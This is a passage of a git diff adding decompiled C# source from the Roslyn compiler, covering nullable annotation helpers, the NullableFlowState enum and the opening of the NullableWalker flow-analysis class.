type) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return ToPublicAnnotation(type.Type, type.NullableAnnotation); + } + + internal static ImmutableArray ToPublicAnnotations(this ImmutableArray types) + { + return ImmutableArrayExtensions.SelectAsArray(types, (Func)((TypeWithAnnotations t) => t.ToPublicAnnotation())); + } + + internal static NullableAnnotation ToPublicAnnotation(TypeSymbol? type, NullableAnnotation annotation) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + switch (annotation) + { + case NullableAnnotation.Annotated: + return (NullableAnnotation)2; + case NullableAnnotation.NotAnnotated: + return (NullableAnnotation)1; + case NullableAnnotation.Oblivious: + if ((object)type != null && type.IsValueType) + { + return (NullableAnnotation)1; + } + return (NullableAnnotation)0; + case NullableAnnotation.Ignored: + return (NullableAnnotation)0; + default: + throw ExceptionUtilities.UnexpectedValue((object)annotation); + } + } + + internal static NullableAnnotation ToInternalAnnotation(this NullableAnnotation annotation) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Expected I4, but got Unknown + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (int)annotation switch + { + 0 => NullableAnnotation.Oblivious, + 1 => NullableAnnotation.NotAnnotated, + 2 => NullableAnnotation.Annotated, + _ => throw ExceptionUtilities.UnexpectedValue((object)annotation), + }; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/NullableFlowState.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/NullableFlowState.cs new file mode 100644 index 0000000..1ba23a0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/NullableFlowState.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal enum NullableFlowState : byte +{ + NotNull = 0, + MaybeNull = 1, + MaybeDefault = 3 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/NullableFlowStateExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/NullableFlowStateExtensions.cs new file mode 100644 index 0000000..de83d47 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/NullableFlowStateExtensions.cs @@ -0,0 +1,63 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class NullableFlowStateExtensions +{ + public static bool MayBeNull(this NullableFlowState state) + { + return state != NullableFlowState.NotNull; + } + + public static bool IsNotNull(this NullableFlowState state) + { + return state == NullableFlowState.NotNull; + } + + public static NullableFlowState Join(this NullableFlowState a, NullableFlowState b) + { + if ((int)a <= (int)b) + { + return b; + } + return a; + } + + public static NullableFlowState Meet(this NullableFlowState a, NullableFlowState b) + { + if ((int)a >= (int)b) + { + return b; + } + return a; + } + + internal static NullableFlowState ToPublicFlowState(this NullableFlowState nullableFlowState) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + return (NullableFlowState)(nullableFlowState switch + { + NullableFlowState.NotNull => 1, + NullableFlowState.MaybeNull => 2, + NullableFlowState.MaybeDefault => 2, + _ => throw ExceptionUtilities.UnexpectedValue((object)nullableFlowState), + }); + } + + public static NullableFlowState ToInternalFlowState(this NullableFlowState flowState) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Expected I4, but got Unknown + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return (int)flowState switch + { + 0 => NullableFlowState.NotNull, + 1 => NullableFlowState.NotNull, + 2 => NullableFlowState.MaybeNull, + _ => throw ExceptionUtilities.UnexpectedValue((object)flowState), + }; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/NullableWalker.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/NullableWalker.cs new file mode 100644 index 0000000..446b3e7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/NullableWalker.cs @@ -0,0 +1,11047 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using System.Runtime.CompilerServices; +using System.Text; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.Collections; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +internal sealed class NullableWalker : LocalDataFlowPass +{ + internal sealed class NullableAnalysisData + { + internal readonly int MaxRecursionDepth; + + internal readonly ConcurrentDictionary Data; + + internal NullableAnalysisData(int maxRecursionDepth = -1) + { + MaxRecursionDepth = maxRecursionDepth; + Data = new ConcurrentDictionary(); + } + } + + internal sealed class VariableState + { + internal readonly VariablesSnapshot Variables; + + internal readonly LocalStateSnapshot VariableNullableStates; + + internal VariableState(VariablesSnapshot variables, LocalStateSnapshot variableNullableStates) + { + Variables = variables; + VariableNullableStates = variableNullableStates; + } + } + + internal readonly struct Data + { + internal readonly int TrackedEntries; + + internal readonly bool RequiredAnalysis; + + internal Data(int trackedEntries, bool requiredAnalysis) + { + TrackedEntries = trackedEntries; + RequiredAnalysis = requiredAnalysis; + } + } + + [DebuggerDisplay("{GetDebuggerDisplay(), nq}")] + private readonly struct VisitResult + { + public readonly TypeWithState RValueType; + + public readonly TypeWithAnnotations LValueType; + + public VisitResult(TypeWithState rValueType, TypeWithAnnotations lValueType) + { + RValueType = rValueType; + LValueType = lValueType; + } + + public VisitResult(TypeSymbol? type, NullableAnnotation annotation, NullableFlowState state) + { + RValueType = TypeWithState.Create(type, state); + LValueType = TypeWithAnnotations.Create(type, annotation); + } + + internal string GetDebuggerDisplay() + { + return "{LValue: " + LValueType.GetDebuggerDisplay() + ", RValue: " + RValueType.GetDebuggerDisplay() + "}"; + } + } + + [DebuggerDisplay("{VisitResult.GetDebuggerDisplay(), nq}")] + private readonly struct VisitArgumentResult + { + public readonly VisitResult VisitResult; + + public readonly Optional StateForLambda; + + public TypeWithState RValueType => VisitResult.RValueType; + + public TypeWithAnnotations LValueType => VisitResult.LValueType; + + public VisitArgumentResult(VisitResult visitResult, Optional stateForLambda) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + VisitResult = visitResult; + StateForLambda = stateForLambda; + } + } + + private enum AssignmentKind + { + Assignment, + Return, + Argument, + ForEachIterationVariable + } + + private readonly struct CompareExchangeInfo(ImmutableArray arguments, ImmutableArray results, ImmutableArray argsToParamsOpt) + { + public readonly ImmutableArray Arguments = arguments; + + public readonly ImmutableArray Results = results; + + public readonly ImmutableArray ArgsToParamsOpt = argsToParamsOpt; + + public bool IsDefault + { + get + { + if (!Arguments.IsDefault) + { + return Results.IsDefault; + } + return true; + } + } + } + + private delegate(MethodSymbol? method, bool returnNotNull) ArgumentsCompletionDelegate(ImmutableArray argumentResults, ImmutableArray parametersOpt, MethodSymbol? method); + + private sealed class MethodInferenceExtensions : MethodTypeInferrer.Extensions + { + private readonly NullableWalker _walker; + + internal MethodInferenceExtensions(NullableWalker walker) + { + _walker = walker; + } + + internal override TypeWithAnnotations GetTypeWithAnnotations(BoundExpression expr) + { + return TypeWithAnnotations.Create(expr.GetTypeOrFunctionType(), GetNullableAnnotation(expr)); + } + + private static NullableAnnotation GetNullableAnnotation(BoundExpression expr) + { + switch (expr.Kind) + { + case BoundKind.DefaultLiteral: + case BoundKind.DefaultExpression: + case BoundKind.Literal: + if (!(expr.ConstantValueOpt == (ConstantValue)null) && expr.ConstantValueOpt.IsNull && !expr.IsSuppressed) + { + return NullableAnnotation.Annotated; + } + return NullableAnnotation.NotAnnotated; + case BoundKind.ExpressionWithNullability: + return ((BoundExpressionWithNullability)expr).NullableAnnotation; + case BoundKind.MethodGroup: + case BoundKind.UnconvertedObjectCreationExpression: + case BoundKind.UnconvertedCollectionExpression: + case BoundKind.ConvertedTupleLiteral: + case BoundKind.UnboundLambda: + return NullableAnnotation.NotAnnotated; + default: + return NullableAnnotation.Oblivious; + } + } + + internal override TypeWithAnnotations GetMethodGroupResultType(BoundMethodGroup group, MethodSymbol method) + { + if (_walker.TryGetMethodGroupReceiverNullability(group.ReceiverOpt, out var type) && !method.IsStatic) + { + method = (MethodSymbol)AsMemberOfType(type.Type, method); + } + return method.ReturnTypeWithAnnotations; + } + } + + private readonly struct DeconstructionVariable + { + internal readonly BoundExpression Expression; + + internal readonly TypeWithAnnotations Type; + + internal readonly ArrayBuilder? NestedVariables; + + internal DeconstructionVariable(BoundExpression expression, TypeWithAnnotations type) + { + Expression = expression; + Type = type; + NestedVariables = null; + } + + internal DeconstructionVariable(BoundExpression expression, ArrayBuilder nestedVariables) + { + Expression = expression; + Type = default(TypeWithAnnotations); + NestedVariables = nestedVariables; + } + } + + internal sealed class LocalStateSnapshot + { + internal readonly int Id; + + internal readonly LocalStateSnapshot? Container; + + internal readonly BitVector State; + + internal LocalStateSnapshot(int id, LocalStateSnapshot? container, BitVector state) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + Id = id; + Container = container; + State = state; + } + } + + [DebuggerDisplay("{GetDebuggerDisplay(), nq}")] + internal struct LocalState : ILocalDataFlowState, ILocalState + { + private sealed class Boxed + { + internal LocalState Value; + + internal Boxed(LocalState value) + { + Value = value; + } + } + + internal readonly int Id; + + private readonly Boxed? _container; + + private BitVector _state; + + public bool Reachable => ((BitVector)(ref _state))[0]; + + public bool NormalizeToBottom => false; + + private int Capacity => ((BitVector)(ref _state)).Capacity / 2; + + public NullableFlowState this[int slot] + { + get + { + var (id, index) = Variables.DeconstructSlot(slot); + return GetValue(id, index); + } + set + { + var (id, index) = Variables.DeconstructSlot(slot); + SetValue(id, index, value); + } + } + + private LocalState(int id, Boxed? container, BitVector state) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + Id = id; + _container = container; + _state = state; + } + + internal static LocalState Create(LocalStateSnapshot snapshot) + { + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + Boxed container = ((snapshot.Container == null) ? null : new Boxed(Create(snapshot.Container))); + int id = snapshot.Id; + BitVector state = snapshot.State; + return new LocalState(id, container, ((BitVector)(ref state)).Clone()); + } + + internal LocalStateSnapshot CreateSnapshot() + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + return new LocalStateSnapshot(Id, _container?.Value.CreateSnapshot(), ((BitVector)(ref _state)).Clone()); + } + + public static LocalState ReachableState(Variables variables) + { + return CreateReachableOrUnreachableState(variables, reachable: true); + } + + public static LocalState UnreachableState(Variables variables) + { + return CreateReachableOrUnreachableState(variables, reachable: false); + } + + public static LocalState ReachableStateWithNotNulls(Variables variables) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + Boxed container = ((variables.Container == null) ? null : new Boxed(ReachableStateWithNotNulls(variables.Container))); + int nextAvailableIndex = variables.NextAvailableIndex; + return new LocalState(variables.Id, container, createBitVectorWithNotNulls(nextAvailableIndex, reachable: true)); + static BitVector createBitVectorWithNotNulls(int capacity, bool reachable) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + BitVector result = BitVector.Create(capacity * 2); + ((BitVector)(ref result))[0] = reachable; + for (int i = 1; i < capacity; i++) + { + int num = i * 2; + ((BitVector)(ref result))[num] = true; + ((BitVector)(ref result))[num + 1] = true; + } + return result; + } + } + + private static LocalState CreateReachableOrUnreachableState(Variables variables, bool reachable) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + Boxed container = ((variables.Container == null) ? null : new Boxed(CreateReachableOrUnreachableState(variables.Container, reachable))); + return new LocalState(variables.Id, container, CreateBitVector(reachable)); + } + + public LocalState CreateNestedMethodState(Variables variables) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + return new LocalState(variables.Id, new Boxed(this), CreateBitVector(reachable: true)); + } + + private static BitVector CreateBitVector(bool reachable) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + BitVector result = BitVector.Create(2); + ((BitVector)(ref result))[0] = reachable; + return result; + } + + private void EnsureCapacity(int capacity) + { + ((BitVector)(ref _state)).EnsureCapacity(capacity * 2); + } + + public bool HasVariable(int slot) + { + if (slot <= 0) + { + return false; + } + var (id, index) = Variables.DeconstructSlot(slot); + return hasVariableCore(ref this, id, index); + static bool hasVariableCore(ref LocalState state, int num, int index2) + { + if (state.Id > num) + { + return hasVariableCore(ref state._container.Value, num, index2); + } + return state.Id == num; + } + } + + public void NormalizeIfNeeded(int slot, NullableWalker walker, Variables variables, bool useNotNullsAsDefault = false) + { + if (!hasValue(ref this, slot)) + { + Normalize(walker, variables, useNotNullsAsDefault); + } + static bool hasValue(ref LocalState state, int num) + { + if (num <= 0) + { + return false; + } + var (id, index) = Variables.DeconstructSlot(num); + return hasValueCore(ref state, id, index); + } + static bool hasValueCore(ref LocalState state, int id, int index) + { + if (state.Id != id) + { + return hasValueCore(ref state._container.Value, id, index); + } + return index < state.Capacity; + } + } + + public void Normalize(NullableWalker walker, Variables variables, bool useNotNullsAsDefault = false) + { + if (Id != variables.Id) + { + Normalize(walker, variables.Container, useNotNullsAsDefault); + return; + } + _container?.Value.Normalize(walker, variables.Container, useNotNullsAsDefault); + int capacity = Capacity; + EnsureCapacity(variables.NextAvailableIndex); + Populate(walker, capacity, useNotNullsAsDefault); + } + + public void PopulateAll(NullableWalker walker) + { + _container?.Value.PopulateAll(walker); + Populate(walker, 1, useNotNullsAsDefault: false); + } + + private void Populate(NullableWalker walker, int start, bool useNotNullsAsDefault) + { + int capacity = Capacity; + for (int i = start; i < capacity; i++) + { + int slot = Variables.ConstructSlot(Id, i); + SetValue(Id, i, (!useNotNullsAsDefault) ? walker.GetDefaultState(ref this, slot) : NullableFlowState.NotNull); + } + } + + private NullableFlowState GetValue(int id, int index) + { + if (Id != id) + { + return _container.Value.GetValue(id, index); + } + return GetValue(index); + } + + private NullableFlowState GetValue(int index) + { + if (!Reachable) + { + return NullableFlowState.NotNull; + } + index *= 2; + bool num = ((BitVector)(ref _state))[index]; + bool flag = ((BitVector)(ref _state))[index + 1]; + if (!num) + { + if (!flag) + { + return NullableFlowState.NotNull; + } + return NullableFlowState.MaybeDefault; + } + if (!flag) + { + return NullableFlowState.MaybeNull; + } + return NullableFlowState.NotNull; + } + + private void SetValue(int id, int index, NullableFlowState value) + { + if (Id != id) + { + _container.Value.SetValue(id, index, value); + } + else + { + SetValue(index, value); + } + } + + private void SetValue(int index, NullableFlowState value) + { + if (Reachable) + { + index *= 2; + ref BitVector state = ref _state; + int num = index; + ref BitVector state2 = ref _state; + int num2 = index + 1; + (bool, bool) tuple = value switch + { + NullableFlowState.MaybeNull => (true, false), + NullableFlowState.MaybeDefault => (false, true), + NullableFlowState.NotNull => (true, true), + _ => throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/FlowAnalysis/NullableWalker.cs", 11855), + }; + ((BitVector)(ref state))[num] = tuple.Item1; + ((BitVector)(ref state2))[num2] = tuple.Item2; + } + } + + internal void ForEach(Action action, TArg arg) + { + _container?.Value.ForEach(action, arg); + for (int i = 1; i < Capacity; i++) + { + action(Variables.ConstructSlot(Id, i), arg); + } + } + + internal LocalState GetStateForVariables(int id) + { + LocalState result = this; + while (result.Id != id) + { + result = result._container.Value; + } + return result; + } + + public LocalState Clone() + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + Boxed container = ((_container == null) ? null : new Boxed(_container.Value.Clone())); + return new LocalState(Id, container, ((BitVector)(ref _state)).Clone()); + } + + public bool Join(in LocalState other) + { + bool flag = false; + if (_container != null && _container.Value.Join(in other._container.Value)) + { + flag = true; + } + bool reachable = Reachable; + bool flag2 = reachable | other.Reachable; + ((BitVector)(ref _state))[0] = flag2; + flag = flag || reachable != flag2; + for (int i = 1; i < Capacity; i++) + { + NullableFlowState nullableFlowState = (reachable ? GetValue(i) : NullableFlowState.NotNull); + NullableFlowState nullableFlowState2 = nullableFlowState.Join(other.GetValue(i)); + SetValue(i, nullableFlowState2); + flag = flag || nullableFlowState != nullableFlowState2; + } + return flag; + } + + public bool Meet(in LocalState other) + { + bool flag = false; + if (_container != null && _container.Value.Meet(in other._container.Value)) + { + flag = true; + } + bool reachable = Reachable; + bool flag2 = reachable & other.Reachable; + ((BitVector)(ref _state))[0] = flag2; + flag = flag || reachable != flag2; + for (int i = 1; i < Capacity; i++) + { + NullableFlowState value = GetValue(i); + NullableFlowState nullableFlowState = value.Meet(other.GetValue(i)); + SetValue(i, nullableFlowState); + flag = flag || value != nullableFlowState; + } + return flag; + } + + internal string GetDebuggerDisplay() + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + builder.Append(" "); + for (int num = Math.Min(Capacity, 8) - 1; num >= 0; num--) + { + NullableFlowState value = GetValue(num); + bool flag = ((value == NullableFlowState.MaybeNull || value == NullableFlowState.MaybeDefault) ? true : false); + bool flag2 = flag; + builder.Append(flag2 ? '?' : '!'); + } + return instance.ToStringAndFree(); + } + + internal string Dump(Variables variables) + { + if (!Reachable) + { + return "unreachable"; + } + if (Id != variables.Id) + { + return "invalid"; + } + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + Dump(PooledStringBuilder.op_Implicit(instance), variables); + return instance.ToStringAndFree(); + } + + private void Dump(StringBuilder builder, Variables variables) + { + _container?.Value.Dump(builder, variables.Container); + for (int i = 1; i < Capacity; i++) + { + string text = getName(Variables.ConstructSlot(Id, i)); + if (text != null) + { + builder.Append(text); + builder.Append(GetValue(Id, i) switch + { + NullableFlowState.MaybeNull => "?", + NullableFlowState.MaybeDefault => "??", + _ => "!", + }); + } + } + string? getName(int slot) + { + VariableIdentifier variableIdentifier = variables[slot]; + string name = variableIdentifier.Symbol.Name; + int containingSlot = variableIdentifier.ContainingSlot; + if (containingSlot <= 0) + { + return name; + } + return getName(containingSlot) + "." + name; + } + } + } + + internal sealed class LocalFunctionState : AbstractLocalFunctionState + { + public LocalState StartingState; + + public LocalFunctionState(LocalState unreachableState) + : base(unreachableState.Clone(), unreachableState.Clone()) + { + StartingState = unreachableState; + } + } + + private sealed class NullabilityInfoTypeComparer : IEqualityComparer<(NullabilityInfo info, TypeSymbol? type)> + { + public static readonly NullabilityInfoTypeComparer Instance = new NullabilityInfoTypeComparer(); + + public bool Equals((NullabilityInfo info, TypeSymbol? type) x, (NullabilityInfo info, TypeSymbol? type) y) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + if (((NullabilityInfo)(ref x.info)).Equals(y.info)) + { + return SymbolEqualityComparer.ConsiderEverything.Equals(x.type, y.type); + } + return false; + } + + public int GetHashCode((NullabilityInfo info, TypeSymbol? type) obj) + { + return obj.GetHashCode(); + } + } + + private sealed class ExpressionAndSymbolEqualityComparer : IEqualityComparer<(BoundNode? expr, Symbol symbol)> + { + internal static readonly ExpressionAndSymbolEqualityComparer Instance = new ExpressionAndSymbolEqualityComparer(); + + private ExpressionAndSymbolEqualityComparer() + { + } + + public bool Equals((BoundNode? expr, Symbol symbol) x, (BoundNode? expr, Symbol symbol) y) + { + if (x.expr == y.expr) + { + return (object)x.symbol == y.symbol; + } + return false; + } + + public int GetHashCode((BoundNode? expr, Symbol symbol) obj) + { + return Hash.Combine(obj.expr, obj.symbol.GetHashCode()); + } + } + + private sealed class PlaceholderLocal : LocalSymbol + { + private readonly Symbol _containingSymbol; + + private readonly TypeWithAnnotations _type; + + private readonly object _identifier; + + internal override SyntaxNode ScopeDesignatorOpt => null; + + public override Symbol ContainingSymbol => _containingSymbol; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public override TypeWithAnnotations TypeWithAnnotations => _type; + + internal override LocalDeclarationKind DeclarationKind => LocalDeclarationKind.None; + + internal override SyntaxToken IdentifierToken + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/FlowAnalysis/NullableWalker.PlaceholderLocal.cs", 54); + } + } + + internal override bool IsCompilerGenerated => true; + + internal override bool IsImportedFromMetadata => false; + + internal override bool IsPinned => false; + + internal override bool IsKnownToReferToTempIfReferenceType => false; + + public override RefKind RefKind => (RefKind)0; + + internal override SynthesizedLocalKind SynthesizedKind + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/FlowAnalysis/NullableWalker.PlaceholderLocal.cs", 60); + } + } + + internal override bool HasSourceLocation => false; + + internal override ScopedKind Scope => (ScopedKind)0; + + public PlaceholderLocal(Symbol containingSymbol, object identifier, TypeWithAnnotations type) + { + _containingSymbol = containingSymbol; + _type = type; + _identifier = identifier; + } + + public override bool Equals(Symbol obj, TypeCompareKind compareKind) + { + if ((object)this == obj) + { + return true; + } + if (obj is PlaceholderLocal placeholderLocal) + { + return _identifier.Equals(placeholderLocal._identifier); + } + return false; + } + + public override int GetHashCode() + { + return _identifier.GetHashCode(); + } + + internal override ConstantValue GetConstantValue(SyntaxNode node, LocalSymbol inProgress, BindingDiagnosticBag diagnostics = null) + { + return null; + } + + internal override ImmutableBindingDiagnostic GetConstantValueDiagnostics(BoundExpression boundInitValue) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return ImmutableBindingDiagnostic.Empty; + } + + internal override SyntaxNode GetDeclaratorSyntax() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/FlowAnalysis/NullableWalker.PlaceholderLocal.cs", 63); + } + + internal override LocalSymbol WithSynthesizedLocalKindAndSyntax(SynthesizedLocalKind kind, SyntaxNode syntax) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/FlowAnalysis/NullableWalker.PlaceholderLocal.cs", 72); + } + } + + internal sealed class SnapshotManager + { + internal sealed class Builder + { + private readonly ImmutableDictionary<(BoundNode?, Symbol), Symbol>.Builder _updatedSymbolMap = ImmutableDictionary.CreateBuilder(ExpressionAndSymbolEqualityComparer.Instance, SymbolEqualityComparer.ConsiderEverything); + + private readonly ArrayBuilder _walkerStates = ArrayBuilder.GetInstance(); + + private readonly SortedDictionary _incrementalSnapshots = new SortedDictionary(); + + private readonly PooledDictionary _symbolToSlot = PooledDictionary.GetInstance(); + + private int _currentWalkerSlot = -1; + + internal SnapshotManager ToManagerAndFree() + { + _symbolToSlot.Free(); + ImmutableArray<(int, Snapshot)> incrementalSnapshots = EnumerableExtensions.SelectAsArray, (int, Snapshot)>((IReadOnlyCollection>)_incrementalSnapshots, (Func, (int, Snapshot)>)((KeyValuePair kvp) => (kvp.Key, kvp.Value))); + ImmutableDictionary<(BoundNode, Symbol), Symbol> updatedSymbolsMap = _updatedSymbolMap.ToImmutable(); + return new SnapshotManager(_walkerStates.ToImmutableAndFree(), incrementalSnapshots, updatedSymbolsMap); + } + + internal int EnterNewWalker(Symbol symbol) + { + int currentWalkerSlot = _currentWalkerSlot; + if (((Dictionary)(object)_symbolToSlot).TryGetValue(symbol, out int value)) + { + _currentWalkerSlot = value; + return currentWalkerSlot; + } + _currentWalkerSlot = ((Dictionary)(object)_symbolToSlot).Count; + ((Dictionary)(object)_symbolToSlot).Add(symbol, _currentWalkerSlot); + return currentWalkerSlot; + } + + internal void ExitWalker(SharedWalkerState stableState, int previousSlot) + { + _walkerStates.SetItem(_currentWalkerSlot, stableState); + _currentWalkerSlot = previousSlot; + } + + internal void TakeIncrementalSnapshot(BoundNode? node, LocalState currentState) + { + if (node != null && !node.WasCompilerGenerated) + { + _incrementalSnapshots[node.Syntax.SpanStart] = new Snapshot(currentState.CreateSnapshot(), _currentWalkerSlot); + } + } + + internal void SetUpdatedSymbol(BoundNode node, Symbol originalSymbol, Symbol updatedSymbol) + { + _updatedSymbolMap[GetKey(node, originalSymbol)] = updatedSymbol; + } + + internal void RemoveSymbolIfPresent(BoundNode node, Symbol symbol) + { + _updatedSymbolMap.Remove(GetKey(node, symbol)); + } + + private static (BoundNode?, Symbol) GetKey(BoundNode node, Symbol symbol) + { + if (node is BoundLambda && symbol is LambdaSymbol) + { + return (null, symbol); + } + return (node, symbol); + } + } + + private readonly ImmutableArray _walkerSharedStates; + + private readonly ImmutableArray<(int position, Snapshot snapshot)> _incrementalSnapshots; + + private readonly ImmutableDictionary<(BoundNode?, Symbol), Symbol> _updatedSymbolsMap; + + private static readonly Func<(int position, Snapshot snapshot), int, int> BinarySearchComparer = ((int position, Snapshot snapshot) current, int target) => current.position.CompareTo(target); + + private SnapshotManager(ImmutableArray walkerSharedStates, ImmutableArray<(int position, Snapshot snapshot)> incrementalSnapshots, ImmutableDictionary<(BoundNode?, Symbol), Symbol> updatedSymbolsMap) + { + _walkerSharedStates = walkerSharedStates; + _incrementalSnapshots = incrementalSnapshots; + _updatedSymbolsMap = updatedSymbolsMap; + } + + internal (VariablesSnapshot, LocalStateSnapshot) GetSnapshot(int position) + { + Snapshot snapshotForPosition = GetSnapshotForPosition(position); + return (_walkerSharedStates[snapshotForPosition.SharedStateIndex].Variables, snapshotForPosition.VariableState); + } + + internal TypeWithAnnotations? GetUpdatedTypeForLocalSymbol(SourceLocalSymbol symbol) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifierToken = symbol.IdentifierToken; + Snapshot snapshotForPosition = GetSnapshotForPosition(((SyntaxToken)(ref identifierToken)).SpanStart); + if (_walkerSharedStates[snapshotForPosition.SharedStateIndex].Variables.TryGetType(symbol, out var type)) + { + return type; + } + return null; + } + + internal NamedTypeSymbol? GetUpdatedDelegateTypeForLambda(LambdaSymbol lambda) + { + if (_updatedSymbolsMap.TryGetValue((null, lambda), out Symbol value)) + { + return (NamedTypeSymbol)value; + } + return null; + } + + internal bool TryGetUpdatedSymbol(BoundNode node, Symbol symbol, [NotNullWhen(true)] out Symbol? updatedSymbol) + { + return _updatedSymbolsMap.TryGetValue((node, symbol), out updatedSymbol); + } + + private Snapshot GetSnapshotForPosition(int position) + { + int num = ImmutableArrayExtensions.BinarySearch<(int, Snapshot), int>(_incrementalSnapshots, position, BinarySearchComparer); + if (num < 0) + { + num = ~num - 1; + if (num < 0) + { + num = 0; + } + } + return _incrementalSnapshots[num].snapshot; + } + } + + internal readonly struct SharedWalkerState + { + internal readonly VariablesSnapshot Variables; + + internal SharedWalkerState(VariablesSnapshot variables) + { + Variables = variables; + } + } + + private readonly struct Snapshot + { + internal readonly LocalStateSnapshot VariableState; + + internal readonly int SharedStateIndex; + + internal Snapshot(LocalStateSnapshot variableState, int sharedStateIndex) + { + VariableState = variableState; + SharedStateIndex = sharedStateIndex; + } + } + + [DebuggerDisplay("{GetDebuggerDisplay(), nq}")] + internal sealed class VariablesSnapshot + { + internal readonly int Id; + + internal readonly VariablesSnapshot? Container; + + internal readonly Symbol? Symbol; + + internal readonly ImmutableArray> VariableSlot; + + internal readonly ImmutableDictionary VariableTypes; + + internal VariablesSnapshot(int id, VariablesSnapshot? container, Symbol? symbol, ImmutableArray> variableSlot, ImmutableDictionary variableTypes) + { + Id = id; + Container = container; + Symbol = symbol; + VariableSlot = variableSlot; + VariableTypes = variableTypes; + } + + internal bool TryGetType(Symbol symbol, out TypeWithAnnotations type) + { + return VariableTypes.TryGetValue(symbol, out type); + } + + private string GetDebuggerDisplay() + { + object arg = ((object)Symbol) ?? ((object)""); + return $"Id={Id}, Symbol={arg}, Count={VariableSlot.Length}"; + } + } + + [DebuggerDisplay("{GetDebuggerDisplay(), nq}")] + internal sealed class Variables + { + private const int MaxSlotDepth = 5; + + private const int IdOffset = 16; + + private const int IdMask = 32767; + + private const int IndexMask = 65535; + + internal readonly int Id; + + internal readonly Variables? Container; + + internal readonly Symbol? Symbol; + + private readonly PooledDictionary _variableSlot = PooledDictionary.VariableIdentifier, int>.GetInstance(); + + private readonly PooledDictionary _variableTypes = SpecializedSymbolCollections.GetPooledSymbolDictionaryInstance(); + + private readonly ArrayBuilder _variableBySlot = ArrayBuilder.VariableIdentifier>.GetInstance(1, default(LocalDataFlowPass.VariableIdentifier)); + + internal VariableIdentifier this[int slot] + { + get + { + var (id, num) = DeconstructSlot(slot); + return GetVariablesForId(id)._variableBySlot[num]; + } + } + + internal int NextAvailableIndex => _variableBySlot.Count; + + internal static Variables Create(Symbol? symbol) + { + return new Variables(0, null, symbol); + } + + internal static Variables Create(VariablesSnapshot snapshot) + { + Variables container = ((snapshot.Container == null) ? null : Create(snapshot.Container)); + 